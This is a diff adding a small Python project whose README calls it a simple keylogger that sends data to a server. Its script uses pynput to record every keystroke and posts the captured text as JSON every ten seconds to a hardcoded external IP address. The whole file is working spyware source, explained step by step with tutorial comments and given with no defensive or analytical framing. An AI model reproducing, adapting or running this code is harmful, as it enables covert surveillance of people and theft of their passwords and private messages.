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README.md

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+# Simple Python Keylogger with Pynput. Sending data to a server.

keylogger.py

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+# Install pynput using the following command: pip install pynput
+# Import the mouse and keynboard from pynput
+from pynput import mouse, keyboard
+# We need to import the requests library to Post the data to the server.
+import requests
+# To transform a Dictionary to a JSON string we need the json package.
+import json
+#  The Timer module is part of the threading package.
+import threading
+
+# We make a global variable text where we'll save a string of the keystrokes which we'll send to the server.
+text = ""
+
+# Hard code the values of your server and ip address here.
+ip_address = "109.74.200.23"
+port_number = "8080"
+# Time interval in seconds for code to execute.
+time_interval = 10
+
+def send_post_req():
+    try:
+        # We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using
+        # the format {"keyboardData" : "<value_of_text>"}
+        payload = json.dumps({"keyboardData" : text})
+        # We send the POST Request to the server with ip address which listens on the port as specified in the Express server code.
+        # Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json.
+        r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"})
+        # Setting up a timer function to run every <time_interval> specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running.
+        timer = threading.Timer(time_interval, send_post_req)
+        # We start the timer thread.
+        timer.start()
+    except:
+        print("Couldn't complete request!")
+
+# We only need to log the key once it is released. That way it takes the modifier keys into consideration.
+def on_press(key):
+    global text
+
+# Based on the key press we handle the way the key gets logged to the in memory string.
+# Read more on the different keys that can be logged here:
+# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard
+    if key == keyboard.Key.enter:
+        text += "\n"
+    elif key == keyboard.Key.tab:
+        text += "\t"
+    elif key == keyboard.Key.space:
+        text += " "
+    elif key == keyboard.Key.shift:
+        pass
+    elif key == keyboard.Key.backspace and len(text) == 0:
+        pass
+    elif key == keyboard.Key.backspace and len(text) > 0:
+        text = text[:-1]
+    elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
+        pass
+    elif key == keyboard.Key.esc:
+        return False
+    else:
+        # We do an explicit conversion from the key object to a string and then append that to the string held in memory.
+        text += str(key).strip("'")
+
+# A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread.
+# In the on_press function we specified how to deal with the different inputs received by the listener.
+with keyboard.Listener(
+    on_press=on_press) as listener:
+    # We start of by sending the post request to our server.
+    send_post_req()
+    listener.join()

requirements.txt

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+certifi==2022.6.15
+charset-normalizer==2.1.0
+idna==3.3
+pynput==1.7.6
+requests==2.28.1
+six==1.16.0
+urllib3==1.26.11